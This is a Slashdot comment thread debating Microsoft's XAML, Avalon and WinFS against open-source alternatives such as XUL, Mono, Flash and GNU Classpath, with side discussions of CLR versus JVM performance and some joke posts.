      Two reference to look at: Stephen Gilmore, Mobile Resource Guarantees Project, Laboratory for Foundations of Computer Science, University of Edinburgh, Presentation, "Comparing the JVM and .NET", here> Jeremy Singer, "JVM versus CLR: A Comparitive Study", Proceeding of the 2nd International Conference on Principles and Practice of Programming in Java, May 2002, pp. 167-169 Both papers compared the performance of the JVM to the CLR. The first used the Pascal compiler that emitted code for both the JVM (1.4) and the CLR and the second used Java Grande benchmarkes that were translated to C# and complied to the 1.0 CLR (the Java was compiled to Java 1.4.1, with hotspot). In both cases, the CLR beat the JVM in performance, in some cases, by a large margin. A beta version and version 1.0 of the CLR on Microsoft beat a mature version of the JVM on the Windows platform. So, the CLR can indeed be faster than the JVM. In fact, each paper talks about how the CLR instruction is more ameddable to optimization (on any platform) than the JVM, which was not originally designed with JIT in mind. Just FYI. Any references on Java beating the CLR to counteract the above? (Seriously. Debate is good).

    6. Re:The advantages of taking MS seriously... by cerberusss · · Score: 2, Insightful
      WinFS is very, very cool stuff, even as vaporware

      It's not cool. It's just a filesystem in a database. And it's not innovative, it's been done before. Microsoft can just leverage their OS to integrate it tightly.

      --
      8 of 13 people found this answer helpful. Did you?
    7. Re:The advantages of taking MS seriously... by kragaroth · · Score: 1

      Keith Packard & Co has a nice little experimental X server on freedesktop.org that seems to encompass Avalons abilities.

      The fact that people are converting to X.org may also help moving that X obstacle a little.

    8. Re:The advantages of taking MS seriously... by ndykman · · Score: 1

      From the stuff I've seen, it isn't not just a filesystem in a database. The stuff from Oracle just basically allowed you to set/get BLOBS in a DB via a filesystem. Cool, yes, useful, yep. But that's all they could do, because filesystems don't understand anything else. They see files. They don't see metadata beyond what the file system sees. Also, Oracle Files didn't address the search, relate, and act ideas. This part of WinFS. The idea that given rich metadata, users should be able to easily make rules like "If I get a email from this person mentioning this account number, then make a task to call this and that person and then try and make an appointment with X". Really, really hard, but they are trying. Can they do it. I believe they can. Lots of smart people at MS. Will they, that's another question. After all, they do have a limit to throwing good money after bad at things (A high one, but still), and they have stockholders and war chest to protect, so... WinFS really is changing what a filesystem is and does at a fundemental level. Yes, there is adoption of XML and DB ideas, but it goes beyond that. Check out the WinFS core schema to get an idea of just what kind of metadata they are using. And the real interesting is that you can extend that schema to include whatever metadata you want. I understand people not getting the WinFS vision, but there is enough information from MS now to make statements like "It's just a filesystem in a database, but they can integrate it" less convincing.

    9. Re:The advantages of taking MS seriously... by zhenlin · · Score: 1
      I think a killer Open Source project would be port Java over to the CLR. To be really evil and fun, make it a JVM->CLR rewriter. Of course, Sun will sue you like mad, but that not why it wouldn't happen (it helps MS too much), but it would break Sun's hold on Java a bit more. Especially with Mono in the mix.

      Why not the other way? Especially since Java is on more platforms?

      XAML is nicely balanced and really seems like the first truly usable markup-based GUI language (XUL was close, but not close enough. I think it'd be much more popular otherwise).

      XAML: Catalogueware, hyped.
      XUL: Realware, not hyped.

      Conclusion: XAML wins popularity contests. You can't compare it to anything real, and you don't have to show much for it... yet, so you can always one-up your competitors.

      Avalon is nice, not totally groundbreaking, but it does kill bitmap-based windowing, and I haven't seen anything that suggest that Linux world is pulling that trigger yet. (X being a obstacle in the way) Apple did, and the results speak for themselves I think.

      Apple has not moved to vector graphics windowing. It is still bitmaps there. What makes you think otherwise?

      There are many things that don't translate well into vector graphics. Photographs, for instance. Pre-existing bitmaps, for another.

      Finally, WinFS is very, very cool stuff, even as vaporware. I'm not surprised they had to scale it back, because what there are doing is nothing short of rethinking the file system from the ground up. This is a bold thought to take seriously. The notion of extensible metadata alone is powerful. (Before, file metadata was fixed.) Add in searching, extensible relationships, etc and you have something worth paying attention too.


      An alpha implementation of some of those ideas: GNOME storage.

      But, I'm sure, if we dig deeper, we'll find that neither Microsoft nor Free/Open Source really invented any of these. Just that we invented it again.
    10. Re:The advantages of taking MS seriously... by ndykman · · Score: 2

      Some responses.

      Sure, why not? CLR to JVM. I think it'd be harder, but not impossible. The JVM is much more closely tied to Java than, say C# is to the CLR. Weird, but true. Now, with 1.5, that'll change. You get boxing, etc, etc.

      As for the XUL and XAML thing. XUL isn't getting traction. Why not? Frankly, because I've seen better documentation and examples from MS on XAML than I have from XUL. I've never seen a standalone example of XUL, and I've seen two XAML examples already.

      Not to say that there aren't better XUL examples out there, but I can't find them. Okay, I didn't look too hard, but why in the heck isn't there a big developers here link on Mozilla that shows XUL off in all it's glory?

      Yes, XAML is hyped. But part of that hype is showing developers how it works, and even getting the bits in their hands to play with.

      As for Apple, really? Wow. I could have sworn that there was vector support in Aqua. Huh. Well, hell.

      Also, having vector support doesn't mean you can never have bitmaps, just that you can use vectors when they are more useful. And it's surprising just how useful vector-based graphics are in some cases. Native support and accleration good.

    11. Re:The advantages of taking MS seriously... by zhenlin · · Score: 1

      Firefox is the biggest XUL demo you can get, aside from Mozilla Seamonkey Suite, which I'm not entire ly sure whether or not is completely XUL based...

      In any case, standalone XUL is unlikely, because it is built on Gecko for use with Gecko-embedding browsers and applications. XAML will be no different, it will be built into Windows for use by Windows applications.

      But if you want to learn about XUL: XUL on Mozilla.org
      XUL 1.0 specification
      XULPlanet, a big non-Mozilla XUL resource (See also XULPlanet at mozdev.org for the time being)
      Joy of XUL -- an overview of XUL.

      The probable reason why XUL doesn't recieve the same hype as XAML? XUL is just a solution designed for a problem. Whereas, XAML is a solution looking for a problem -- it is just one of the bells and whistles to make Longhorn attractive.

    12. Re:The advantages of taking MS seriously... by master_p · · Score: 1

      That's why Linux needs to move on, and open source developers need to innovate. Copying your favorite stuff into an open source application that looks and behaves exactly like the commercial counterpart does not cut it any more.

    13. Re:The advantages of taking MS seriously... by ndykman · · Score: 1

      Thanks for the references. I now kind of see why XUL isn't used outside of Mozilla stuff. XAML maybe a solution looking for a problem, but I look at it as simply a new technology that is being promoted by Microsoft to make developing GUI applications easier, and frankly, from what I've seen, it really does that very nicely and has some really good ideas in it.

    14. Re:The advantages of taking MS seriously... by Azghoul · · Score: 1

      I hate to break teh news to you, but absolutely NOONE is going to do this: "If I get a email from this person mentioning this account number, then make a task to call this and that person and then try and make an appointment with X"

      It's not gonna happen.

      It's simple as dirt to define a filter in any modern email client, and most users DON'T TOUCH THEM.

      It's bullshit because it requires too much user interaction to use. I am a unix guru, and the last thing I want to do is set up a hundred little metadata fields so I can track my own crap over time. Noone is going to care.

    15. Re:The advantages of taking MS seriously... by zhenlin · · Score: 1

      Gr. I prove myself wrong again. I just found some non-Gecko XUL implementations.

      Portal to XUL -- link repository for XUL and XUL-like things.

    16. Re:The advantages of taking MS seriously... by illtud · · Score: 1

      WinFS is very, very cool stuff, even as vaporware

      It's not cool. It's just a filesystem in a database.

      C'mon, it's not even that. The filesystem will be NTFS, WinFS is an index of the metadata in the files on the system. It's just fast find on steroids and I've yet to meet a user with a clue that didn't disable that pig straight away.

    17. Re:The advantages of taking MS seriously... by Chutzpah · · Score: 1

      Fast, scalable filesystem with extensible metadata, isn't that Reiser4?

      WinFS may be cool, but we have an equivilant on Linux, and it's almost ready for prime time, it's called Reiser4, check Namesys for more info on Reiser4.

    18. Re:The advantages of taking MS seriously... by cerberusss · · Score: 1
      This part of WinFS. The idea that given rich metadata, users should be able to easily make rules

      I'm still not convinced, usability-wise. Where does the metadata come from? From the user? I've heard colleagues (implementing intranets, content management systems and portals) telling me about how the user will hardly ever take the time to insert useful metadata. Will WinFS automagically categorize documents? Have they invented a new search algorithm that turns up documents with Google-like accuracy? I see lots of cool technology, yes, but I see nothing beyond what a good grep can do.

      --
      8 of 13 people found this answer helpful. Did you?
    19. Re:The advantages of taking MS seriously... by ndykman · · Score: 1

      I looked at the page, and I didn't really see the extensible metadata part. Sure, there is plugins and such, but NTFS has had layered file systems and addons too. Harder to write, maybe. Some examples would be good.

    20. Re:The advantages of taking MS seriously... by ndykman · · Score: 1

      Yea, that's the big unknown right now, but it appears that the metadata is managed by the tools that make the files. From what I've seen, the metadata isn't exposed to the user directly, it's only gotten at via search, etc. Sure, it maybe nothing more than a better grep, but still. Let's think of a "Search all documents for this word" No big deal, but in WinFS, it would know that all documents are here, here, and here and wouldn't waste the time looking throughout the disc and tossing files that don't match a wildcard. The real bit comes in the ability to relate files and information together. If you twist your head a bit, it looks a little like what the Semantic Web stuff is trying to address in the space of Web Pages. It's really hard, but it's so tempting to not try if you have the resources.

    21. Re:The advantages of taking MS seriously... by ndykman · · Score: 1

      Well, the decision to base everything on NTFS was a compatibility issue. There is rumor that Blackcomb will have a native WinFS (no NTFS involved), and NTFS will become like FAT32.

  32. Shadow boxing. by Anonymous Coward · · Score: 0

    And just WHY do we need to replace HTML? Modern day HTML along with CSS does very nice things. HTML abused does not so nice things. Also not everything needs to be a rich browsing experience. For those RICH browsing experiences, you might want to look at Newsmonster and MAB, for an inkling of were things could be if people would get off their kesters and CODE instead of whining and worrying about what MS MIGHT do in 4 or 5 years.

    1. Re:Shadow boxing. by Anonymous Coward · · Score: 0

      Modern HTML can look nice, yes.

      But MS & Mozilla & the W3C have basically conspired to cyrogenically freeze HTML in terms of using it for business & form applications. You'll notice that "Newsmonster" is implemented in XUL, not HTML.

      The best way to combat "fat browser apps" like XAML and XUL would be to improve the form capabilities in HTML. Let's have a <input type="calendar"> please. Or an <input type="number" min="0" max="100">. Or real HTML constructs for things like popup menus. (And don't tell me about XForms -- never gonna happen.)

      Nobody wants to make HTML anything more than a presentation lanaguage -- and thats the main problem.

  33. Re:peoplesprimary by Armadillo007 · · Score: 1

    Nice work, AC! WARNING: DON'T CLICK ON THE THE PARENT LINK: "GWB Denounces Open source!" IF YOU BY ANY CHANCE ARE VIEWING THIS IN WINDOWS!

  34. Re:peoplesprimary by Armadillo007 · · Score: 1

    Can An administator please remove that link?

  35. all the pieces are in places now, why not just.. by ashot · · Score: 3, Insightful

    ..put them together.

    I do think that the man has a point. The web is just dying for more RIA, we will need to jump out of the request/recieve process, and if MS comes out with this system with no competition it will continue to dominate, and it will be huge.

    However, all the tools to create such interactions are available now. I know many people are going to hate to hear this, but Macromedia Flash provides the framework for all of the things that Avalon envisions to do, the system for developing such apps just needs to be created. The Flash player is installed 98.6% of client systems on the internet. (!)

    So hear is an idea: why not incorporate developent of such flash apps into Mono? The swf format is now open and documented.

    Macromedia recently came out with a system to do something like this called <a href="http://www.macromedia.com/software/flex/">Ma cromedia Flex</a>, however licensing for this product is a nightmare ($USD 12,000) which I think is a grave mistake on Macromedia's part.

    They also have a new (sort of) framework called <a href="http://www.macromedia.com/software/central/? promoid=home_prod_ce_0111903">Macromedia Central</a> which allows flash apps to run naitively and interact with local data (download with one click, save network data locally) and its acutally a great app, but its licensing model is again completely proprietary and closed. This is where we (the OS community) come in..

    So what is the idea? Just incoporate the functionality of Flex into Mono, you can even use the same format used by Macromedia in Flex, <a href="http://www.macromedia.com/devnet/flex/articl es/paradigm.html">MXML</a>, for interopability. It can be free open, and we have a full year to develop such a framework. There is a HUGE market for this. Particularly for people that are not ready to uprgrade their entire OS, but still want to use RIAs. On that not it will also be important to start devloping some of the killer apps (photo browsers, visual forums, real time easy chat for every page, data extractors, etc).

    The drawback is of course speed, and we can't really beat MS there. However if we can get something like this going then it will be a big incentive for Macromedia to offer perhaps a larger + faster version of the flash player. One of the best examples of moves in this direction still has many problems with it, but you can see it here:

    www.ego7.net

    But, the time is def. limited.

    -Ashot

    --
    -ashot
  36. Disappointed in Miguel-The good enough train wreck by Anonymous Coward · · Score: 2, Insightful

    "What Miguel is afraid of, I think, is not that this technology will be mind blowingly good, but merely that it will be good enough. Let's face it, Microsoft has been very good at "good enough". What do I mean by "good enough"? Well, potentially riddled with security holes that will be sloely patched over the 5-10 years following it's release - a debacle as far as security concious users are concerned - would still count as good enough. You see, the people in management who buy into these things are notorious for their lack of long term planning, and consideration of security. Look at what Microsoft has already happly foisted onto the corporate world - code riddled with exploits, but because it offered the right new features business bought into it."

    Two things. One is it really safe to ASSUME (And yes we are assuming at some level) that "good enough" will always be good enough?

    Two as has been pointed out in the past. The biggest choke collar for MS, is MS. THEY"VE ALREADY SATURATED THEIR MARKETSPACE. Now how are they going to force people to give up millions of dollors in investment. Both software and training, let alone the new hardware that may be required (WinTel). For the so far unproven benifits of LongHorn?

  37. .Net/C# us 3GL, XAML and XUL are 4GL ... by Anonymous Coward · · Score: 4, Insightful

    Avalon/XAML *is* scary - but Mozilla/XUL can/should trump the living heck out of
    it. If the OSS community lets Microsoft
    define the rules, we all lose. We need to
    push the heck out of Mozilla/XUL. XUL needs
    to become a de-facto standard. It should make
    Avalon/XAML look like just yet another proprietary dead end.

    It is time to shift focus
    past the 3GL GUI toolkits (GTK/QT) and move
    on to some much bigger, 4GL, app building
    blocks. This is the only fight the matters.
    The future 4GL "application platform" is being decided. Will Microsoft own the platform or will
    it be open source.

    P.S. Lets put Python into Mozilla/XUL (Javascript *is* a big drag)

    1. Re:.Net/C# us 3GL, XAML and XUL are 4GL ... by ashot · · Score: 1

      This is a good idea, but XUL is dependant on Mozilla distribution; this will never happen, at least not in the next 1.5 years. However we have a back door entry with Java and Flash. I believe that there is a huge amount of potential there that needs to be opened up (free) and standarized, particularly with Flash since Java is so clunky (thats right, in a browser Java Flash). But eitherway we must attatch this hook first, then we can make it compatible with XUL, whatever; creating another parser is realtively easy. (not that it will have to be precompiled into swf/java beforehand, but this is not a big hurdle) See my post below yours for more details on this thought.

      --
      -ashot
    2. Re:.Net/C# us 3GL, XAML and XUL are 4GL ... by sumdumass · · Score: 1

      Now if we can find a way to get Mozilla distributed with 90% of all the desktop operating systems it would work.

      -- binky are you thinking what i'm thining, well yes but if they call them unhappy meals, the kids won't buy them.

    3. Re:.Net/C# us 3GL, XAML and XUL are 4GL ... by 0x0d0a · · Score: 1

      The future 4GL "application platform" is being decided. Will Microsoft own the platform or will
      it be open source.


      I'm going to guess that, whoever wins, stuff being sold as such will be incredibly slow and RAM-hungry.

    4. Re:.Net/C# us 3GL, XAML and XUL are 4GL ... by WWWWolf · · Score: 1

      Why Fourth Generation, when we can just leap to the Fifth Generation! That's the future! Oooooh! Can't wait to use all that speech recognition and AI and programming in Prolog! =)

      P.S. Lets put Python into Mozilla/XUL (Javascript *is* a big drag)

      Better yet, let's make the whole thing language-independent. At this "high level", it should be possible to shake away this "language" thing, and use whatever language has been implemented on the level below.

      Personally, I'd rather see Java, Perl and Ruby down there, rather than just Python. I'd hate to think that yet another perfectly nice platform has been lost to the Indenter Infidels. =)

    5. Re:.Net/C# us 3GL, XAML and XUL are 4GL ... by Anonymous Coward · · Score: 0

      You know, XUL has been out for years, and I don't see people lining up to use it.

      I think there's always been the question how stable/supported/documented it is, especially since it's sorta an outgrowth of Mozilla and not its own project. I know there's also been complaints about Mozilla version+1 breaking everything.

      Maybe its just missing the needed tools (RAD builders, independant distributions, etc).

    6. Re:.Net/C# us 3GL, XAML and XUL are 4GL ... by Anonymous Coward · · Score: 0

      Better yet, let's make the whole thing language-independent. At this "high level", it should be possible to shake away this "language" thing, and use whatever language has been implemented on the level below.

      Agreed. These days, if the framework is designed right, there's no reason you can't interface with most any language there is. What is designed right? Well, object-oriented seems to work very well.

      By the way...fifth generation? I don't think it'll be AI just yet. Maybe that'll sixth or seventh. For fifth, might I suggest an old friend. What's old is new again. (Check out morphs and Croquet.)

    7. Re:.Net/C# us 3GL, XAML and XUL are 4GL ... by Brandybuck · · Score: 1

      An application is comprised of algorithms and data structures. One tiny minor subset of applications is a searching (algorithm) a database (data structure). For some bizarre reason a lot of people think the latter is the only kind of application there is.

      Mozilla/XUL is suited for the latter, but it is far from appropriate to use for most applications. All it gives you a fancy UI on top of a database with some minor scriptability. We still need application toolkits like GTK and Qt, because most applications aren't suitable to be "webapps". Can a *usable* word processor or image processor be written in Mozilla/XUL (or Avalon/XAML)? I don't think so.

      The only reason Avalon/XAML gives PHBs erections, is because they think they've finally found the technology that will enable them to fire all those pesky software developers. Every new technology is heralded as a means to get rid of the programmer. It's not going to happen.

      --
      Don't blame me, I didn't vote for either of them!
  38. Clickable links! by ashot · · Score: 2, Informative

    Sorry, posted in plain text on accident..

    Macromedia Flex
    Macromedia Central
    MXML
    ego7

    --
    -ashot
  39. Yes, But... by KimiDalamori · · Score: 2, Interesting

    When we make a protocol, MS can copy it perfectly, because they have access to all the neccesary documentation, and can even look at how we implemented it. When MS makes a protocol, we usually can't even get a look at the specifications, we have to reverse-engineer it, and therefore it takes us longer to make a product that doesn't always have all the functionality. It only seems like we constantly play catch-up to MS because MS doesn't really play fair.

    --
    Lagito ergo expectabo
    1. Re:Yes, But... by Anonymous Coward · · Score: 0

      Yup he's right... Thanks Guys!

      - Microsoft Team

  40. Markup languages are still code. by openmtl · · Score: 5, Insightful
    "XAML enables you to create a UI without using code. You can create quite elaborate documents entirely in markup using controls, text, images, shapes and so forth..."

    Helloooooo, anyone home ?, once you get into creating 'elaborate' stuff in 'markup' then you are smack back into programming and code. Its that kind of thinking that gives us unmaintainable Excel or Word macros, JavaScript, ASP, Perl, Expect/Tk,...list goes on.

    It IS programming and it IS in CODE because it has a syntax , a grammer and a vocabulary. Unless it is a natural language parser then its still a computer language.

    I'm not knocking the language - I just think its being oversold by saying its not code.

    --

    1. Re:Markup languages are still code. by prockcore · · Score: 1

      It IS programming and it IS in CODE because it has a syntax , a grammer and a vocabulary.

      Then so is the english language, so is a config file, so is a cake recipe.

      I believe he meant "programming language" when he said "code".

      It's not a programming language until you can bootstrap it. Once you write a XAML parser using XAML, it can be called a programming language.

    2. Re:Markup languages are still code. by ashot · · Score: 2, Informative

      "XAML enables you to create a UI without using code. You can create quite elaborate documents entirely in markup using controls, text, images, shapes and so forth..."

      you layout the UI with XAML, you control it using embeded actions which are code. This code can be in any language and is independent of the UI. Thats actually part of the beauty of it all..

      --
      -ashot
    3. Re:Markup languages are still code. by Anonymous Coward · · Score: 0

      It's not a programming language until you can bootstrap it. Once you write a XAML parser using XAML, it can be called a programming language.

      So you're saying that these massively complicated shell scripts I have here aren't code? They look like code to me...

    4. Re:Markup languages are still code. by Crispin+Cowan · · Score: 1
      You're half right. It is a programming language, but it is a domain-specific language (DSL). DSL's are not always Turing-equivalant (which is what it takes for a language to bootstrap itself). Configuration files are an example of a limited kind of non-Turing-complete DSL's. Also called "little languages" by Brian Kernighan.

      Crispin
      ----
      Crispin Cowan, Ph.D.
      CTO, Immunix Inc.

  41. Couldn't Agree More by xant · · Score: 3, Funny

    Let the 15YMOUA begin!

    --
    It's rare that you're presented with a knob whose only two positions are Make History and Flee Your Glorious Destiny.
  42. it's pronounced "XAML"-Damsel saving. by Anonymous Coward · · Score: 0

    "Of course, the only drawback is that this new interaction is completely tied to .Net and WinFX. So we see that as a very big danger. A lot of people today cannot migrate to Linux or cannot migrate to Mozilla because a lot of their internal Web sites happen to use IE extensions. Now imagine a world where you can only use XAML."

    So that's the gist of his fear? So by that argument were's the open source clone of ActiveX? XAML==ActiveX all grown up and as bad ass as ever. Gee if I'd known that OSS was in the damsel saving business, I would have asked for money?

  43. Zamil is taken by gad_zuki! · · Score: 4, Funny

    All logical spellings of everything have been trademarked by drug companies.

    Zamil, for instance, helps firm up stool for people on low-carb diets.

    Common side effects may include:

    Abdominal pain, abnormal dreams, abnormal vision, agitation, amnesia, anxiety, arthritis, back pain, bronchitis, burning sensation, chest pain, confusion, constipation, coughing, daytime sleeping, decreased mental alertness, depression, diarrhea, difficulty breathing, difficulty concentrating, difficulty swallowing, diminished sensitivity to touch, dizziness on standing, double vision, dry mouth, emotional instability, exaggerated feeling of well-being, eye irritation, falling, fatigue, fever, flu-like symptoms, gas, general discomfort, hallucination, hiccup, high blood pressure, high blood sugar, increased sweating, infection, insomnia, itching, joint pain, lack of bladder control, lack of coordination, lethargy, light-headedness, loss of appetite, menstrual disorder, migraine, muscle pain, nasal inflammation, nervousness, numbness, paleness, prickling or tingling sensation, rapid heartbeat, rash, ringing in the ears, sinus inflammation, sleep disorder, speech difficulties, swelling due to fluid retention, taste abnormalities, throat inflammation, throbbing heartbeat, tremor, unconsciousness, upper respiratory infection, urinary tract infection, vertigo, vomiting, weakness, abnormal tears or tearing, abscess, acne, aggravation of allergies, aggravation of high blood pressure, aggression, allergic reaction, altered production of saliva, anemia, belching, blisters, blood clot in lung, boils, breast pain, breast problems, breast tumors, bruising, chill with high temperature followed by heat and perspiration, decreased sex drive, delusion, difficulty urinating, excessive urine production, e ye pain, facial swelling due to fluid retention, fainting, false perceptions, feeling intoxicated, feeling strange, flushing, frequent urination, glaucoma, gout, heart attack, hemorrhoids, herpes infection, high cholesterol, hives, hot flashes, impotence, inability to urinate, increased appetite, increased tolerance to the drug, intestinal blockage, irregular heartbeat, joint degeneration, kidney failure, kidney pain, laryngitis, leg cramps, loss of reality, low blood pressure, mental deterioration, muscle spasms in arms and legs, muscle weakness, nosebleed, pain, painful urination, panic attacks, paralysis, pneumonia, poor circulation, rectal bleeding, rigidity, sciatica (lower back pain), sensation of seeing flashes of lights or sparks, sensitivity to light, sleepwalking, speech difficulties, swelling of the eye, thinking abnormalities, thirst, tooth decay, uncontrolled leg movements, urge to go to the bathroom, varicose veins, weight loss, yawning

    1. Re:Zamil is taken by Jugalator · · Score: 0

      abnormal vision
      back pain
      daytime sleeping
      paleness
      speech difficulties
      weakness
      acne
      decreased sex drive
      eye pain
      feeling intoxicated
      high cholesterol
      loss of reality
      muscle weakness
      sensitivity to light


      But doesn't geeks already have those?

      --
      Beware: In C++, your friends can see your privates!
    2. Re:Zamil is taken by BlackHawk-666 · · Score: 1

      The government has been secretly putting it in our water supply for years in the form of Coca Cola, Mountain Dew, and Jolt. Damn those cunning government agents!

      --
      All those moments will be lost in time, like tears in rain.
    3. Re:Zamil is taken by Anonymous Coward · · Score: 0

      you forgot one: slashdot effect

      -1, stupid

    4. Re:Zamil is taken by Tukla · · Score: 1

      I don't think that geeks have a decreased sex drive, but those other problems give them nowhere to direct it but Lara Croft and the BSD Babe.

  44. Comments from an MS Developer by RobTheJedi · · Score: 5, Interesting

    I am still a realtively new coder, with only around 4 years under my belt all in Microsoft shops, and even newer to the linux world about 3 months.

    When I first heard of the Mono project here on /. I was excited at the possibility of using the development tools and environment that I am familiar with and be able to deploy my code to Linux. The most exciting thing to me was the possibility of running ASP.NET on Apache. In the last 2 weeks I have really began to experiment with this particular aspect and was able to copy my compiled C# ASP.NET web app from my windows box to my Fedora Core box and everything ran with no problems.

    I welcome further the possibility to continue to use the development environment I know while being able to deploy my code across windows and linux platforms. (I am not a fan of Java and say what you wish about C#, but I find it to be a very nice language.)

    I wish the mono team the best of luck.

    --
    I am so creative, look at my cry for attention in my sig.
    1. Re:Comments from an MS Developer by Anonymous Coward · · Score: 0
      In the last 2 weeks I have really began to experiment with this particular aspect and was able to copy my compiled C# ASP.NET web app from my windows box to my Fedora Core box and everything ran with no problems.
      This sounds great. How's performance? I was amazed how "snappy" my first non-trivial ASP.NET page felt (under Windows), compared to ASP/VBScript or other scripting languages.
    2. Re:Comments from an MS Developer by thomasrynne · · Score: 1

      I don't think java and c# are different enough to like c# and not like java.

    3. Re:Comments from an MS Developer by Anonymous Coward · · Score: 1, Insightful
      that was moderated interesting. I guess the 2% difference in syntax makes enough difference that C# is some how better than Java. I use both at work and I consider languages are equal. There are annoying things about both, but generally, the language specification for both are solid.

      My primary beef with C# and .NET is it still sticks to the old windows threading model. Given most programmers have little to no experience with writing complex multi-threaded apps, .NET threading is a mistake. I can understand MS wanted to provide a seemless integration with legacy C++ code, but the end result is threading is no simpler than it was in C++. Most of the changes to threading are superficial in C#. I'm biased since I write backend components and when I write GUI's I prefer to use SWT.

    4. Re:Comments from an MS Developer by RobTheJedi · · Score: 1

      I have not had the opportunity to do any formal performance analysis, but given that the box is a P3 500 w/ 384mb of ram, the performance has been very good. The difficulty was trying to get everything figured out as to how to work with the libmod_mono module, and exactly what was going on with XSP, mod-mono-server.exe, and mod_mono. The newest releases of these items, available at go-mono.com helped out a lot.

      --
      I am so creative, look at my cry for attention in my sig.
    5. Re:Comments from an MS Developer by naryco · · Score: 2, Insightful

      As an other MS developer, I would say that the differences between C# and Java really are not an issue. But the IDE (vs.net) really is. It makes coding, debugging, version control, deployment, db integration etc. so easy that I really don't want to go back to developing with linux. The truth is that in Linux/OSS development you have to use several different tools with different UIs that work only adequately together. With vs.net you have one single consistent IDE for everything and everything is also well document. While some people may get their kicks for tracking down a bug in a 3-tier architecture with primitive tools, I get the kicks for being able to be productive.

    6. Re:Comments from an MS Developer by Serpent+Mage · · Score: 2, Informative

      eclipse.org

      i develop in both c# and java and both ide's are excellent. java actually has the productivity advantage over c# though because of maven, junit, dbunit, apache commons, and jcoverage technologies that c# does not even come close to due to it being a new and immature language currently but i'm quite certain that c# will have tools to one day compete with java on a productivity level.

  45. Who cares of Icaza and .net ? we want OSS ! by Anonymous Coward · · Score: 1, Insightful

    I don't understand Icaza reasons for pushing a MS technology that is (despite the millions dollars of investment in advertisement and gift) still strugling to survive ! Come on, wake up guys ! .net is not a success story. Of course part of MS legacy user have switch to it, but even if MS have "invented" a new language called Assmbler and told us that assembler was better TCO, those guys would have switch to it because it is MS ;-)

    Icaza is wrong, mono does not help the comunity it endanger it ! Just because, .net is not open-in-mind. MS hold lots of patents on it, and be sure that if one day Icaza success with mono (i mean 100% compatibility) then MS migh sue him.

    If MS has pushed .net it is because they wanted to have THEIR kindergarden. They resign from Java platform because it was contraining them with compatibility of the public specification. Now they rule their own platform and own specification ! Of course to build a "smog effect" they have pushed some very core spec to ECMA (practicaly the only few that mono implements today), but this is useless. Because, with those spec you can not expect your .net program to ever run on the ECMA standardized spec ! The main reason is VS.net. MS fully control the dev environement and the platform and they can introduce whatever .net specific code to lock people on both ! Means that, VS will generate code that will only un with MS VM ;-) As a reminder this is what they did in 1998 with their Java VM, by making Visual J++ generate code that can only run on their home made VM !!!

    If you are a real OSS (and not a cryptic MS zeelot), you should push real OSS project that can benefit the commuity !

    One good example is the FSF's GNU Classpath. Those guys are about to bring us the first full opensource VM that will be 100% complient (at least they are trying so). IT will be realy independant from any corporate interrest and fully controled by the community !

    This was made possible because of the Apache Group involvment in making the JSPA (the license behind Java specifications) to be complient with OSS comunity requirements.

    http://www.jcp.org/en/jsr/detail?id=176
    "Sun plans to adhere to the proposed new JSPA licensing model for this JSR, including allowing independent implementations, licensing the TCK separately from the RI, minimizing shared code, and licensing any remaining shared code (such as the verifier) on simple non-restrictive licensing terms. In addition Sun plans to make it easier for academic and non-profit groups to obtain access to the RI and TCKs."

    As you know all the Java specification are publically available. But this new policy means that the kit that say "your implementation is compatible, you can now claim it is !" is freely available (no restriction) for FSF (as an example) and of course it means that neither Sun/IBM/Oracle... can control your GPL code ;-)

    Hence as soon as the J2SE 1.5 TCK is available (should be around july IMHO), Classpath can start to do complience tests. IF they pass the tests, they can show "Java complient" and claim to everybody "First full opensource full Java implementation" :)

    So Mr Icaza, if you want realy to boost linux domination on the server side by making switch from comercial winXX to OSS tux they please forget about MS lockeddown techs, and take the opportunity to push for Classpath !

    PS: you got skills and want to help OSS, join the GNU's Classpath project http://www.classpath.org

    1. Re:Who cares of Icaza and .net ? we want OSS ! by uberchicken · · Score: 1

      > PS: you got skills and want to help OSS, join the GNU's Classpath project http://www.classpath.org

      Actually, I'd say go work on dotGNU. They're implementing straight from the ECMA specs.

    2. Re:Who cares of Icaza and .net ? we want OSS ! by ajs · · Score: 2, Insightful

      If you are a real OSS (and not a cryptic MS zeelot), you should push real OSS project that can benefit the commuity

      You mean like the Linux Kernel (an open source re-implementation of a closed source OS kenerl -- AT&T's UNIX at the time), Gaim (an open source re-implementation of a closed source IM client -- AIM from AOL), GCC (an open source re-implementation of a closed source compiler for a language developed by the same vendor that developed the OS -- PCC for the C language from AT&T), Linux NFS (an open source re-implementation of a closed source networked filesystem which the vendor published the protocol for while retaining patents on the technology -- NFS by Sun Microsystems), The Gimp (an open source re-implementation of a closed source photo editor -- Photoshop from Adobe), The X Window System (an open source re-implementation of a closed source windowing system -- PARC from Xerox), Samba (an open source re-implementation of a closed source file system -- SMB by Microsoft) or did you mean something else?

      Face it: Open source software has been BLINDINGLY SUCCESSFUL at re-implementing closed-source software and making it popular. Why would we stop now?

  46. Microsoft inadvertantly becomming biggest OSS? by Anonymous Coward · · Score: 0

    One thing that I noticed is this,

    This XAML thing is like HTML, right?

    Meaning you goto a webpage, and instead of a HTML page, you get a XAML internet application.

    So you download the code and it gets setup by the dotNet crap, right?

    So will you be able to see the actual Source, like on HTML pages? Couldn't you then take portions of one app and use it in another easily, or hack it to fix bugs or unlock features or whatnot?

    I understand it won't be free, liscencing stuff still applies, but it will be open source and no-cost, right?

    If it is like that it will be a huge boost to OSS stuff, if not free software.

    Or would the application be "compiled" somewere else and you just download the entire app?

    Or is it what all that DRM crap about? It will be "trusted" that you can't veiw the source code.

    It's not like MS can be the only one developing a charging for software, while everybody else is having their apps downloaded in the form of webpages, or is that what their thinking?

    1. Re:Microsoft inadvertantly becomming biggest OSS? by RobTheJedi · · Score: 1

      The Following is from : http://msdn.microsoft.com/msdnmag/issues/04/01/Ava lon/ "Since it has no code in it, you can load the HelloWorld.xaml file directly into the Longhorn version of Microsoft Internet Explorer, and you'll see something that looks like a Web page. You can also compile HelloWorld.xaml using a program currently called MSBuild. You'll need a couple other short files (not shown here) for this compilation. A file with the extension PROJ or MSPROJ provides some information about the program and lists all the required source files (XAML and otherwise). Another short XAML file is also required to indicate the XAML page that is first displayed when the program is executed. Run the Hello World executable and you see something that looks like a Windows program. Figure 2 shows both versions."

      --
      I am so creative, look at my cry for attention in my sig.
    2. Re:Microsoft inadvertantly becomming biggest OSS? by Anonymous Coward · · Score: 0
